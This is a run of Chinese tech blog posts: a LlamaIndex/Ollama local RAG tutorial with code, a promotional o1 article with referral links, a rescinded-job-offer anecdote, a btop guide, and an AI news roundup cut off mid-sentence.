。是啊，我们压根就没有设置，其实我也不想设置，因为这个 key 是要花钱的，我不想花钱，那怎么办？\n用 OPENAI_API_KEY 的目的就是要通过 OpenAI 的 API 调用 OpenAI 的大语言模型。我们知道那是收费的，所以我们要用开源免费的模型，将模型安装到本地使用，这样就不用花钱了。所以我们要用 Ollama 安装开源模型到本地进行调用。关于 Ollama 以及模型的安装我在之前的文章中有详细说明，这里就不赘述了。大家可以参考。RAG 实践-Ollama+AnythingLLM 搭建本地知识库\n我这里下载使用的是 Qwen2:7b 的模型\n第二个问题是：代码中的 data 在哪里\n1documents = SimpleDirectoryReader(\u0026#34;data\u0026#34;).load_data() data 是一个文件夹，需要我们在项目的根路径下创建，名字就叫 data。而在 data 文件夹中我们是要下载测试文本的，通过这个地址下载测试文本：\nhttps://raw.githubusercontent.com/run-llama/llama_index/main/docs/docs/examples/data/paul_graham/paul_graham_essay.txt 文件类型当然就是 .txt 文件。原文是英文的，但因为我想做中文的测试，所以，我把内容全部翻译成了中文并保存。（如果你看过《黑客与画家》 这本书，你一定会对文本内容感兴趣的！） 这个文件的文件名你可以随意取。\n第三个问题是：用哪个 embedding 模型？\n前面我们说了，我们不用 OpenAI 的 API 了，这样的话，其实整个代码结构会发生变化 ，就不是原始的那 5 行代码了，而会变成下面这样（别担心，只多了一行）\n1from llama_index.core import VectorStoreIndex, SimpleDirectoryReader, Settings 2from llama_index.embeddings.huggingface import HuggingFaceEmbedding 3from llama_index.llms.ollama import Ollama 4 5documents = SimpleDirectoryReader(\u0026#34;data\u0026#34;).load_data() 6 7# bge-base embedding model 8Settings.embed_model = HuggingFaceEmbedding(model_name=\u0026#34;BAAI/bge-base-en-v1.5\u0026#34;) 9 10# ollama 11Settings.llm = Ollama(model=\u0026#34;llama3\u0026#34;, request_timeout=360.0) 12 13index = VectorStoreIndex.from_documents(documents,) 可以看到代码中写的 embedding 模型是 BAAI/bge-base-en-v1.5\n接触过 RAG 的朋友对 embedding 模型比较熟悉，这里简单地为不了解的朋友解释一下：\nEmbedding 模型是将离散的输入（如单词或文档）转换为连续向量表示的模型，在 RAG 中用于将查询和检索到的文档片段映射到同一向量空间，以便计算相似度和生成相关响应。\n它和 RAG 的关系，可以参考下图：\n我们这 5 行代码想实现的就是 RAG，所以一定少不了 embedding 模型。embedding 模型也分收费的和开源免费的，另外上文中提到的 BAAI/bge-base-en-v1.5 是一个处理英文的模型，我想处理的是中文，所以不适用。我们要找一个免费开源且支持中文的 embedding 模型。到哪里找呢？Hugging Face!（Hugging Face 你可以把它理解成大模型领域的 GitHub）\n从 Hugging Face 上可以找到大量的开源免费的 embedding 模型，数量很多，选哪一个呢？我们可以从 https://huggingface.co/spaces/mteb/leaderboard 这个大规模文本嵌入基准（MTEB）排行榜中，根据你的需求来挑选。\n比如我选择的是支持中文的，模型大小不是特别大的\n最终我选择的模型是 ：BAAI/bge-base-zh-v1.5\n以上三个问题都解决了以后，我们看一下最终的代码成品：\n1from llama_index.core import VectorStoreIndex, SimpleDirectoryReader, Settings 2from llama_index.embeddings.huggingface import HuggingFaceEmbedding 3from llama_index.llms.ollama import Ollama 4 5documents = SimpleDirectoryReader(\u0026#34;data\u0026#34;).load_data() 6 7Settings.embed_model = HuggingFaceEmbedding(model_name=\u0026#34;BAAI/bge-base-zh-v1.5\u0026#34;) 8 9Settings.llm = Ollama(model=\u0026#34;qwen2:7b\u0026#34;, request_timeout=360.0) 10index = VectorStoreIndex.from_documents(documents,) 11query_engine = index.as_query_engine() 12response = query_engine.query(\u0026#34;作者学习过的编程语言有哪些？\u0026#34;) 13print(response) 实话实说，是比 5 行多了 2 行。但也已经很精练了，因为这是 LlamaIndex 做过高级别封装以后的 API，如果想做具体而细致的编程控制，可以使用低级别封装的 API。\n代码我没有写注释，因为是想让读者看看它有多精练。用 LlamaIndex 就这么简单，几行代码就可以实现 RAG 了。\n以下是我加入注释以后的，方便你理解它：\n1from llama_index.core import VectorStoreIndex, SimpleDirectoryReader, Settings 2from llama_index.embeddings.huggingface import HuggingFaceEmbedding 3from llama_index.llms.ollama import Ollama 4 5# 从指定目录加载文档数据 6documents = SimpleDirectoryReader(\u0026#34;data\u0026#34;).load_data() 7 8# 设置嵌入模型，使用北京智源人工智能研究院的中文嵌入模型 9Settings.embed_model = HuggingFaceEmbedding(model_name=\u0026#34;BAAI/bge-base-zh-v1.5\u0026#34;) 10 11# 设置语言模型，使用 Ollama 提供的 Qwen2 7B 模型，并设置请求超时时间 12Settings.llm = Ollama(model=\u0026#34;qwen2:7b\u0026#34;, request_timeout=360.0) 13 14# 使用加载的文档创建向量存储索引 15index = VectorStoreIndex.from_documents(documents) 16 17# 从索引创建查询引擎 18query_engine = index.as_query_engine() 19 20# 使用查询引擎执行特定查询 21response = query_engine.query(\u0026#34;作者学习过的编程语言有哪些？\u0026#34;) 22 23# 打印查询结果 24print(response) 运行这段代码会自动下载 embedding 模型，你可能会关心模型下载到哪里了，在我电脑上是这个路径 ：～/Library/Caches/llama_index\n代码 第一次执行时间比较长，大概有个几十秒。\n但再次执行应该是有缓存了，就会比较快了，下图就只执行了 10 秒左右。\n当然，你还可以基于测试文本进行其他查询，看看它分析的是否准确。\n以上图片中的输出每一步都有时间，是因为我对程序做了重构，用装饰器加上了每一步执行时间的打印输出，代码如下：\n1import time 2from functools import wraps 3from typing import Callable, Any 4from llama_index.core import VectorStoreIndex, SimpleDirectoryReader, Settings, Document 5from llama_index.embeddings.huggingface import HuggingFaceEmbedding 6from llama_index.llms.ollama import Ollama 7 8def time_it(func: Callable[..., Any]) -\u0026gt; Callable[..., Any]: 9 @wraps(func) 10 def wrapper(*args: Any, **kwargs: Any) -\u0026gt; Any: 11 start_time = time.time() 12 result = func(*args, **kwargs) 13 end_time = time.time() 14 print(f\u0026#34;{func.__name__} 耗时：{end_time - start_time:.2f} 秒\u0026#34;) 15 return result 16 return wrapper 17 18class IndexBuilder: 19 @time_it 20 def load_documents(self) -\u0026gt; list[Document]: 21 return SimpleDirectoryReader(\u0026#34;data\u0026#34;).load_data() 22 23 @time_it 24 def set_embed_model(self) -\u0026gt; None: 25 Settings.embed_model = HuggingFaceEmbedding(model_name=\u0026#34;BAAI/bge-base-zh-v1.5\u0026#34;) 26 27 @time_it 28 def set_llm_model(self) -\u0026gt; None: 29 Settings.llm = Ollama(model=\u0026#34;qwen2:7b\u0026#34;, request_timeout=360.0) 30 31 @time_it 32 def create_index(self, documents: list[Document]) -\u0026gt; VectorStoreIndex: 33 return VectorStoreIndex.from_documents(documents) 34 35 @time_it 36 def perform_query(self, index: VectorStoreIndex, query: str) -\u0026gt; str: 37 query_engine = index.as_query_engine() 38 return query_engine.query(query) 39 40@time_it 41def main() -\u0026gt; None: 42 builder = IndexBuilder() 43 44 documents = builder.load_documents() 45 builder.set_embed_model() 46 builder.set_llm_model() 47 48 index = builder.create_index(documents) 49 50 response = builder.perform_query(index, \u0026#34;作者跟 Sam 的关系是怎样的？\u0026#34;) 51 52 print(\u0026#34;查询结果：\u0026#34;) 53 print(response) 54 55if __name__ == \u0026#34;__main__\u0026#34;: 56 main() 由于后续除了 LlamaIndex 又安装了几个依赖库，所以在项目根路径下创建了 requirements.txt 文件，文件内容如下：\n1llama-index 2python-dotenv 3llama-index-llms-ollama 4llama-index-embeddings-huggingface 执行以下命令一次性安装所有依赖：pip3 install -r requirements.txt 这样方便一些。\nRAG 应用创建完成 有了以上的代码基础，其实一个小型的 RAG 应用的核心就完成了，我可以基于本地知识库结合大语言模型进行自然语言的查询了。\n比如我问：“作者跟 Sam 的关系是怎样的？”\n回答是：“作者与 Sam Altman 的关系是在 2013 年决定让他成为 YC（Y Combinator）的总裁。在那之前，他们可能有某种工作或业务上的联系，因为他们讨论了重组 YC 并让 Sam 接任总裁职位的事情。通过这个决策，可以看出作者认为 Sam 适合领导 YC，并且在 Sam 最初拒绝后，作者坚持不懈地说服他接受这一角色。最终，在 2013 年 10 月，Sam 同意从 2014 年冬季开始接管 YC。这表明两人之间有某种程度的合作和信任关系。”\n你看，基于本地知识库的回答比单纯用 LLM 靠谱多了吧。\n然后呢？ 是的，我们只有一个内核还远远不够，我们还需要漂亮的 UI，更加易用和丰富的功能，程序性能还要强，把它做成一个产品。然后产品还要宣传、推广、积累用户、产品迭代。我们还要赚钱，还要考虑如何盈利。\u0026hellip;..\n差不多了，真的。想到这里，你再看看市面上那些 AI 产品是不是相似的配方？\n最后 行文至此，关于这 5 行代码的事情我觉得已经说清楚了。最后感慨一下：AI 赛道真是越来越卷了，但无论无何，感谢 Python , 感谢 LlamaIndex ，感谢开源和为开源做出贡献的人们。有了他们我们才能够如此享受技术带来的红利。\n","date":"2024-09-30T16:17:06Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-09-30-ru-he-yong-30-miao-he-5-xing-dai-ma-xie-ge-rag-ying-yong/cover.jpg","permalink":"/p/2024-09-30-ru-he-yong-30-miao-he-5-xing-dai-ma-xie-ge-rag-ying-yong/","title":"如何用 30秒和 5 行代码写个 RAG 应用？"},{"content":"9 月 13 日凌晨，OpenAI 悄然发布了其最新的 o1 系列大模型。目前，o1 模型已经向 ChatGPT Plus 和 Team 用户开放，据说未来也会考虑对免费用户开放。此次推出模型有两个：o1 预览版和 o1mini。而更强的 o1 正式版，目前还没发布。\n根据官方发布的消息，这次突然推出的 o1 系列模型提供了中杯、大杯和超大杯三个选择：\no1：全新的大模型天花板，因过于强大，暂不对外公开。 o1-preview：o1 的早期版本，适合需要高推理能力的任务，适合科学研究、复杂的数学推理等。 o1-mini：速度更快、性价比更高，适用于需要推理但无需广泛世界知识的日常任务。 目前国内也已经直接可用！有需要的可以直接点：https://2233.ai/i/AGENT\n一、OpenAI o1 新的思考方式 CEO 奥特曼表示，此次 o1 模型推出，标志着一种新范式的起点：具备通用复杂推理能力的人工智能。\n具体来说，o1 系列是 OpenAI 首个通过强化学习训练的模型，在生成回答之前，会构建一个详尽的思维链，以此提升模型的性能。\n换句话说，内部思维链越长，o1 思考的时间越充裕，模型在推理任务上的表现也就越加优异。\n所以 OpenAI o1 在输出时，生成时间格外的长\n二、更加强大的能力 在竞争性编程平台 Codeforces 的测试中，GPT4o 的准确率仅为 11.0%，而 o1 系列却表现出色：预览版达到了 62%，正式版更是高达 89%。\n在博士级科学问题的 GPQA Diamond 评测中，GPT4o 的正确率为 56.1%，人类专家则为 69.7%，而 o1 则显著提升至 78%。\n此外，o1 模型在机器学习基准测试、理化生等各科考试以及化学与生物领域的博士级科学问题上，均明显优于 GPT-4o。这也是首个取得如此成绩的模型。\n在逻辑和推理能力上：2024 年的 AIME 数学竞赛，GPT4o 的准确率只有 13.4%，o1 预览版一下子跳到了 56.7%，而尚未发布的正式版更是狂飙至 83.3%。\n再看代码竞赛，GPT4o 的成绩仅为 11.0%，o1 预览版 62%，正式版则飙升至 89%。\n最让人震撼的是博士级科学问题 GPQA Diamond，GPT4o 的准确率为 56.1%，人类专家是 69.7%，而 o1 直接打破天花板，达到了恐怖的 78%。\n三、o1 模型的不足与限制 首先，很贵，且限量使用。\no1 预览版 30 条/每周，o1-mini 版 50 条/每周。\nAPI 用户则需按量计费：每百万次输入 15 美元，输出则为 60 美元。\n如果你已经是 Tier5 用户（消费超过 1000 美元），那么已经可以通过接口直接调用 o1 系列模型了！\n四、对比 GPT4o 和 o1 模型的差别 “\n下面所展示实例均为 2233.ai 中 ChatGPT 随心用功能（国内直连使用 o1）\n此次 o1-preview 和 o1-mini 模型最突出的能力就是数学和编程能力。我们将着重测试 GPT4o、o1-preview 和 o1mini 的数学能力和编程能力。\n2024 阿里巴巴全球数学竞赛预选题原图：\nGPT4o 给出的答案：\n虽然它最后的答案是正确的，但是其推理是错误的，最后一句话“最少可能要 4 名同学符合这个条件，但是最后给出的答案是 6 名，而不是 4 名”\no1 模型给出的答案：\no1 给出的答案正确，而且推理的过程也十分完美，不过就是推理时间长达 3 分钟\n当然，我们这些问题还不足以说明 o1 模型有多强，用数学大神陶哲轩的原话来说：“他向 o1 模型提出一个措辞模糊的数学问题，发现它竟然能成功识别出克莱姆定理”。而且答案是“完全令人满意的”那种。\n同时，我们在找到一道较难的编程题目分别问 GPT-4o 和 o1preview 模型，来看一下它们回答如何。\n原题：\nGPT4o 的设计思路：\no1 模型的设计思路：\n还有一个物理大神可以侧面说明 o1 模型的强大。\n2022 年，物理学博士 Kabasares 在《天体物理学杂志》上发表了一篇论文，探讨了利用天文数据建模来测量黑洞质量的方法。实现这段代码是 Kabasares 博士研究中的一个关键突破。o1 模型在 1 小时内生成的 Python 代码。虽然基于合成数据，但其功能与 Kabasares 的实际代码非常相似。\n总的来说，此次 OpenAI 推出的 o1-preview 和 o1-mini 模型整体表现很强的！！不过正式版的 o1 模型尚未发布，我们可以期待一下~~\n五、国内可用 OpenAI o1 方法 最新版本 ChatGPT：可以使用最新版本的 o1-preview 和 o1-mini 模型，也能任意使用 ChatGPT4o 和 4.0。 原生版本体验：支持 GPTs、Dallas-E 多模态绘画，甚至无需 APP 直接语音对话。 国内网络直连：不需要科学上网，可无障碍使用服务。 独立对话：对话记录相互独立，保证信息安全。 无封号风险：无需额外注册账号，登录即用，再也不用担心封号问题。 想要体验的小伙伴可以现在就直接去体验：https://2233.ai/i/AGENT\n“\n注意：填写邀请码能立减 1 美元。邀请码：【AGENT】\n不仅可以体验最新版的 o1-preview 和 o1-mini 模型，还能使用之前的 GPT4o 的语音通话功能、绘画功能、上传文件功能、对话功能。ChatGPT 所具有的功能这里全都有。\n我使用了这么长时间，确实就原生版本体验。\n目前，ChatGPT Plus 套餐最低只需 9.99 美元，比官网便宜了一半。如果使用优惠码【AGENT】，还可以再减 1 美元。\n可以直接复制这个链接到浏览器打开：【https://2233.ai/i/AGENT】\n最后 如果是想要直接订阅 ChatGPT Plus 或者充值 OpenAI API 的，又或者是订阅 Claude 等其他海外软件服务，还可以通过他们的 wildcard 支付会员轻松解决。具体操作就不在这里赘述了，感兴趣的小伙伴可以留言或者后台跟我说，我再出一个详细教程。也可以直接去使用，毕竟操作也不难，用下面的链接一样有优惠：【https://bewildcard.com/i/AGENT】\n","date":"2024-09-20T03:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-09-20-guo-nei-ru-he-shi-yong-openai-o1-zui-xin-xi-lie-mo-xing-han-/cover.jpg","permalink":"/p/2024-09-20-guo-nei-ru-he-shi-yong-openai-o1-zui-xin-xi-lie-mo-xing-han/","title":"国内如何使用 OpenAI o1 最新系列模型？（含ChatGPT4o）"},{"content":"昨天，我刷到一条让人心酸又无奈的职场动态。\n小李是一名刚入职场两年的新人，目前在一家小公司做程序员，月薪14000元。虽然工资不高，但胜在工作轻松，离家也近。前段时间，小李在某招聘网站上看到一家知名企业招聘高级开发工程师，工资开到了28000元。他兴奋地投了简历，很快就接到了面试通知。经过两轮面试，小李顺利拿到了offer。他激动地跟现在的公司提交了辞呈，还跟朋友们庆祝了一番。为了配得上新工作的身份，他还租了一套离新公司更近的房子。然而，就在准备入职的前一天晚上，小李突然接到了HR的电话。HR告诉他：\u0026ldquo;很抱歉，原来那个岗位的人临时决定不走了，所以你的offer取消了。小李瞬间懵了，新房已租，旧工作已辞，这下可怎么办？\n昨天，我刷到一条让人心酸又无奈的职场动态。一位刚入职场两年的小李，原本在一家小公司做程序员，月薪14000元。虽然工资不算高，但工作环境还不错，离家也近。\n前段时间，他在某招聘网站上看到一家知名互联网企业招聘高级开发工程师，工资直接翻倍到28000元。\n小李兴冲冲地投了简历，顺利通过了两轮技术面试和一轮HR面试，拿到了心仪的offer。他激动地向现公司提交了辞呈，还跟朋友们庆祝了一番。为了配得上新工作的身份，他甚至租了一套离新公司更近的高档公寓。\n然而，就在准备入职的前一天晚上，噩耗传来—— HR打电话告诉他，由于公司最新一轮融资出现问题，暂时冻结所有新入职岗位，他的offer取消了。\n看到这里，你是不是也替小李捏了一把汗？新房已租，旧工作已辞，眼看就要成为无业程序员，这下该怎么办？\n这则职场惨案不禁让人深思：为什么看似美好的机会会突然变成噩梦？我们又该如何避免自己成为下一个\u0026quot;小李\u0026rdquo;？\n说实话，我看完这个故事后，心里五味杂陈。作为一个在IT圈摸爬滚打多年的老码农，我深知这种情况并不罕见。让我们一起来剖析一下，为什么会发生这种令人沮丧的情况：\n互联网公司风险高，经营状况瞬息万变。有些看似光鲜的大厂，实际上可能正处于动荡期。融资问题、业务调整等都可能导致招聘计划的突然变更。可悲的是，最终受伤的往往是像小李这样的求职者。\n技术人员往往过于关注技术而忽视了职场规则。小李在拿到offer后就立即辞职、租房，这种行为虽然可以理解，但确实有些冒失。在职场中，任何事情都有变数，过早地把鸡蛋放在一个篮子里，风险系数自然就高了。\n法律意识淡薄，没有书面保障。很多程序员拿到offer后就觉得万事大吉，殊不知口头offer其实没有任何法律效力。如果公司反悔，求职者往往就只能自认倒霉。\n行业诚信缺失，某些企业不负责任。有些公司为了抢夺人才，会开出很诱人的条件。但当情况有变时，他们却毫不犹豫地把求职者抛在一边，根本不考虑对方的感受和损失。\n求职者自身定位不清，盲目追求大厂高薪。小李原本工作虽然工资不是顶尖，但也有其他优势。为了追求大厂光环和高薪而放弃稳定工作，某种程度上也反映了他对自身价值和职业规划的判断可能存在偏差。\n看到这里，你可能会问：那遇到这种情况该怎么办？作为一个职场老兵，我有以下几点建议：\n冷静应对，及时止损。天无绝人之路，当务之急是调整心态，不要被一时的挫折打倒。立即开始寻找新的工作机会，同时考虑是否可以挽回原来的工作。技术人才的市场需求通常较大，保持信心很重要。\n学会维权，寻求补偿。虽然口头offer没有法律效力，但如果有邮件等书面证据，可以尝试与公司协商，要求一定的经济补偿。即便最后拿不到补偿，也能给不负责任的公司一些压力。\n建立职业缓冲带。以后在跳槽时，可以考虑采用\u0026quot;双轨制\u0026quot;：先在新公司试用一段时间，确认稳定后再辞去原工作。这样既能保证收入的连续性，又能降低风险。对于程序员来说，可以考虑先以外包或者兼职的形式进入新公司。\n提高法律意识，要求书面offer。在接受offer时，一定要索要正式的录用函。这不仅是对自己负责，也是对公司诚意的一种考验。特别是对于互联网公司，由于其变数较大，更应该要求有书面保障。\n理性评估，不要被大厂光环和高薪蒙蔽双眼。在考虑新工作时，不要只看工资和公司名气，还要综合考虑技术栈匹配度、团队氛围、公司发展前景等因素。有时候，看似吸引人的大厂高薪工作可能暗藏陷阱。\n职场如代码，每一步都要谨慎。希望小李的经历能给大家敲响警钟。记住，真正的技术高手，不仅要有扎实的编程功底，更要有职场智慧。下次当你收到一份看似诱人的offer时，先别急着庆祝，多问问自己：这份工作靠谱吗？我准备好了吗？\n愿每个程序员都能在这个充满挑战的IT世界里，代码写得好，职场走得稳，找到属于自己的一片天地。\n","date":"2024-09-19T13:14:56Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-09-19-zi-ji-gong-zi-14k-zhao-dao-yue-xin-28k-gong-zuo-hou-kai-xin-/cover.jpg","permalink":"/p/2024-09-19-zi-ji-gong-zi-14k-zhao-dao-yue-xin-28k-gong-zuo-hou-kai-xin/","title":"自己工资 14K，找到月薪 28K工作后，开心地提交辞呈，租了新房子！入职前一天HR说：原来岗位的人不走了，你offer被取消了"},{"content":"top 在 Linux 服务器上，或类 Unix 的机器上，一般我们想查看每个进程的 CPU 使用率、内存使用情况以及其他相关信息时会使用 top 命令。\ntop 是一个标准的 Linux/Unix 工具，实际上我从一开始接触 Linux 就一直使用 top , 一般是两种场景：\nLinux 服务器上用 自己的 Mac 电脑上用 top 有一些常用的功能，比如可以动态的显示进程的情况，按照 CPU 、内存使用率排序等。说实话，这么多年了，使用最多的还就是 top ，一来是因为习惯了，工具用惯了很多操作都是肌肉记忆。二来是 top 一般系统自带不用安装，省事儿。\nhtop top 挺好的，但 top 对于初学者和小白用户不太友好，尤其是它的用户界面和操作。于是后来有了 htop\nhtop 是 top 的一个增强替代品，提供了更加友好的用户界面和更多的功能。与 top 相比，htop 默认以颜色区分不同的信息，并且支持水平滚动查看更多的进程信息。htop 还允许用户使用方向键来选择进程，并可以直接发送信号给进程（如 SIGKILL）。htop 支持多种视图和配置选项，使得用户可以根据自己的喜好定制显示的内容。\nhtop 我也用了几年，确实舒服一些，但由于需要安装和我对 top 的肌肉记忆 ，htop 在我的使用中并未完全替代 top。直到 btop 的出现\nbtop 现在，我本机使用的是 btop，有了 btop，top 和 htop 一点儿都不想用了，哈哈。\n在服务器上有时候因为懒不想安装，一部分时间还是 top，一部分用 btop。\n第一印象是真漂亮啊，然而它不止好看，功能也是很实用，操作还很简单，你说能不喜欢它吗？\n说是 btop ，实际上人家真正的名字是 btop++ , 用 C++ 开发的\n安装 btop 支持各种类 Unix 系统，你可以在它的文档中找到对应系统的安装方法 https://github.com/aristocratos/btop\n本文演示，我是用我自己的 Mac 笔记本电脑，用 Mac 安装很简单，用 brew 一行搞定\nbrew install btop 我的系统情况是这样的：\n安装完成后，直接运行 btop 就可以看到如上图的界面了。\n功能界面 打开 btop 后不要被它的界面唬住了，其实非常的简单，我们来介绍一下。\n打开 btop 后，其实显示的是它给你的 “预置” 界面。默认有 4 个预置界面，你可以按 p 键进行切换。命令行界面上会分别显示：\npreset 0 preset 1 preset 2 preset 3 你可能注意到了，这 4 个预置界面中有很多内容是重复的，没错，其实 btop 一共就 4 个模块，预置界面只是把不同的模块拼在一起显示罢了。这 4 个模块分别是：\nCPU 模块 存储 模块 网络 模块 进程 模块 这 4 个模块对应的快捷键分别就是 1，2，3，4 你按一下模块显示，再按一下模块隐藏。\n所以如果你对预置界面的内容想立刻调整，就可以按快捷键来显示/隐藏 你想要的模块，当然预置界面也是可以通过配置文件调整的，这个我们后面说。\nCPU 模块 CPU 模块可以显示 CPU 型号、各内核的使用率、温度，CPU 整体的负载，以及一个直观的图象，所有数据都是实时显示的。\n存储 模块 存储模块包括两部分，一个是内存使用情况，一个是磁盘使用情况：\n因为比较直观，具体内容我就不解释了。\n网络模块 网络模块可以看下网络的整体负载和吞吐情况，主要包括上行和下行数据汇总，你可以通过按快捷键 b和n 来切换看不同的网卡。\n进程模块 初始的进程模块可以看到：\npid Program: 进程名称 Command: 执行命令的路径 Threads: 进程包含的线程数 User: 启动进程的用户 MemB: 进程所占用内存 Cpu%: 进程所占用 CPU 百分比 你可以按快捷键 e 显示树状视图：\n可以按快捷键 r 对进行排序，按一下是倒序，再按一下是正序。具体排序列可以按左右箭头，根据界面显示进行选择，比如我要按照内存使用排序，那么右上角就是这样的：\n按 f 键输入你想过滤的内容然后回车，可以过滤一下界面显示的内容，比如我只想看 chrome 的进程情况：\n还可以通过 上下箭头选中某一个进程按回车查看进程详情，再次按回车可以隐藏详情：\n显示进程详情后可以对进程进行操作，比如 Kill 只需要按快捷键 k 就可以了，然后会弹出提示：\n主题 怎么样，是不是很方便，操作简单，上手容易，还好看。关于 btop 的主要操作就这些了，剩下的可以参考 help 和 menu 中显示的内容自行操作和设置都很简单。\nbtop 的配置文件默认在这里：$HOME/.config/btop ，你可以直接修改配置文件中的详细参数，如我们前文提到的 “预置” 界面以及预置界面内容都可以在配置文件中设置 ：\n此外 btop 还有很多好看的主题配色，但默认安装的情况下只带了一个 Default 的，如果你想切换用其他的主题，需要先下载这些主题，主题文件在这里：https://github.com/aristocratos/btop/tree/main/themes\n下载好以后放到本地对应的文件夹中 ~/.config/btop/themes\n然后你就可以要界面上进行主题的切换了，具体流程是先按快捷键 m ，然后选 OPTIONS\n接着在 Color theme 中就能看到你当前拥有的 theme 数据，按方向键就可以切换主题配色了：\n主题有很多，我这里给大家一个完整的预览：\n我目前使用的就是 Default 我觉得最符合我的审美。\n最后 用了 btop 后你就再也回不去了，一般情况下再也不会想用 htop 和 top 了，大家没有换的可以直接换了\n","date":"2024-09-17T03:35:33Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-09-17-hai-zai-yong-top-htop-gan-jin-huan-btop-ba-zhen-xiang/cover.jpg","permalink":"/p/2024-09-17-hai-zai-yong-top-htop-gan-jin-huan-btop-ba-zhen-xiang/","title":"还在用 top htop? 赶紧换 btop 吧，真香！"},{"content":"一、苹果智能新动向\n近日，苹果公司正式发布了 iPhone 16 系列，包括 iPhone 16、iPhone 16 Plus、iPhone 16 Pro 和 iPhone 16 Pro Max。这一系列手机均融入了苹果最新的智能技术——苹果智能（Apple Intelligence）。然而，苹果智能并不会在下个月随着 iOS 18.1、iPadOS 18.1 和 macOS Sequoia 15.1 的更新而全面推出，而是将在未来几个月内逐步推出更多功能。\n苹果智能的核心功能包括：\n系统级写作工具：用户可以在 Mail、Notes、Pages 等应用以及第三方平台中重写、校对和总结文本。\n照片搜索与编辑：在 Photos 应用中，用户可以使用自然语言搜索特定图片，利用清理工具去除不需要的物体，并通过简单输入描述来创建个性化电影。\n音频记录与转录：在 Notes 和 Phone 等应用中，用户可以录制、转录和总结音频，帮助捕捉和回忆对话和通话中的重要信息。\n所有这些功能都强调了对用户隐私的保护。苹果智能最初将以美国英语推出，并随着时间的推移扩展到其他英语方言和语言。\n二、SB 1047 法案引发热议\n备受争议的加州法案 SB 1047 已经通过了州参议院的审议，目前正等待州长加文·纽森（Gavin Newsom）的决策。该法案由州参议员斯科特·维纳（Scott Wiener）提出，旨在防止 AI 灾难的发生。法案针对的是那些可能引发灾难性事件的大型 AI 模型，如造成人员伤亡或价值超过 5 亿美元的网络攻击。法案提议让 AI 开发者对其模型造成的任何伤害负责，类似于枪械制造商需对大规模枪击事件负责一样。此外，法案还赋予加州总检察长起诉 AI 公司的权力，如果他们的科技被用于灾难性事件，将面临巨额罚款。\n尽管包括埃隆·马斯克（Elon Musk）在内的一些行业人士对该法案持谨慎乐观态度，但其他人担心这可能会阻碍加州蓬勃发展的 AI 产业的创新。纽森州长必须在 9 月 30 日之前签署或否决该法案。\n三、OpenAI 自研芯片计划\n据《联合报》报道，OpenAI 计划使用台积电（TSMC）即将推出的 1.6nm A16 工艺节点构建自己的 AI 芯片。这一举措意味着 OpenAI 可能有意制造自己的计算芯片，这将是对他们战略的重大转变，也是降低在英伟达（Nvidia）AI 服务器上运行 ChatGPT 所带来高昂成本的一种手段。A16 工艺节点仍在开发中，将是 TSMC 首个使用背面电源传输技术的节点，被称为超级电源轨（Super Power Rail）。然而，该项目的未来仍充满不确定性。\n四、SSI 获 10 亿美元融资\n由前 OpenAI 首席科学家伊利亚·苏茨克弗（Ilya Sutskever）共同创立的 AI 初创公司 Safe Superintelligence（SSI）成功筹集了超过 10 亿美元的融资。主要投资者包括 NFDG、a16z、红杉资本（Sequoia）、DST Global 和 SV Angel，使 SSI 的估值达到约 50 亿美元。这些资金将用于购买计算能力和扩大位于帕洛阿尔托和特拉维夫的研究人员和工程师团队。苏茨克弗此前曾领导 OpenAI 的 Superalignment 团队，但在与几位董事会成员和 CEO 萨姆·奥特曼（Sam Altman）发生公开分歧后离开了该公司。\n五、其他新闻\nAdobe Firefly 视频生成：Adobe 的 AI 视频生成模型 Firefly 将在今年引入生成扩展、文本转视频和图片转视频等功能，旨在补充或加速现有工作流程，同时实施限制某些内容的保护措施。\nDeepSeek-V2.5 崭露头角：开源 AI 模型 DeepSeek-V2.5 因其增强的语言处理和编码能力而受到赞誉，在各种基准测试中表现优于其前辈和其他模型，并可用于商业用途。\nReflection AI 模型表现优异：HyperWrite 开发的开源 AI 模型 Reflection 70B 引入了一种新颖的“反射”机制，提高了推理能力和准确性，在各种基准测试中超越了 GPT-4o，表现出色。\nYi-Coder 代码生成表现强劲：01.AI 推出的 Yi-Coder 是一款小型代码 LLM 系列，在代码生成、编辑和长上下文理解方面表现出色，超越了更大的模型，在竞争性编程和标准代码生成基准测试中表现优异。 OLMoE 开源语言模型：OLMoE 是一个完全开放的最先进的语言模型，拥有 70 亿参数，在 5 万亿令牌上进行了预训练，并在类似的活跃参数模型中表现优异。\nOpen-MAGVIT2 推动自回归视觉生成民主化：Open-MAGVIT2 是一个开源项目，旨在通过提供 Google 的 MAGVIT-v2 分词器的复制并探索其在普通自回归模型中的应用来民主化自回归视觉生成。\nReplit AI 代理实现应用自动编码部署：Replit 推出了一款 AI 代理，能够从头开始构建整个应用程序，具有更高的独立性，并能够在无需用户持续输入的情况下做出决策和执行复杂任务。\nGoogle 测试“Ask Photos”AI 助手：Google 正在测试一项新的“Ask Photos”功能，该功能使用 AI 理解照片内容，并允许用户以新的方式探索照片库。\nRoblox 开发开源 3D AI 模型：Roblox 正在开发一个开源的生成式 AI 工具——3D 基础模型，该模型可以理解各种提示并旨在加速游戏开发，同时为更快的游戏加载进行技术改进。\nYou.com 转型聚焦生产力代理：You.com 正在从 AI 搜索转向更深层次的生产力代理，旨在更好地回答复杂问题并为知识工作提供生产力引擎。\nMusk 的 xAI 超级计算机上线：埃隆·马斯克在短短四个月内组装了一台运行 10 万台 Nvidia GPU 的新超级计算机，旨在加速 AI 项目的训练并解锁新能力。\nAnthropic 推出 Claude AI 企业版：亚马逊支持的 AI 初创公司 Anthropic 推出了面向企业的 Claude Enterprise 新产品，旨在整合 Anthropic 的人工智能，具有更大的上下文窗口、活动源和公司隐私等功能。\nCanva AI 功能引争议：Canva 积极推出的生成式 AI 功能导致部分订阅价格上涨了 300%，引发了用户的强烈反响。\nOracle 股价飙升：由于其在云服务领域的 AI 推动，Oracle 的股价飙升超过 10%，云产品收入增长了 21%，与市场领导者的差距缩小。\nIntel 赢得重要 AI 芯片客户：英特尔的 Gaudi 3 AI 芯片因 IBM 合作将其集成到其云数据中心而受到关注，这标志着英特尔在 AI 加速器市场上的重大胜利。\nOpenAI 商业版 ChatGPT 付费用户破百万：OpenAI 的企业版 ChatG2PT 已突破 100 万付费用户，表明企业对其聊天机器人的需求不断增长。\nSambaNova 推出最快 AI 推理服务：SambaNova 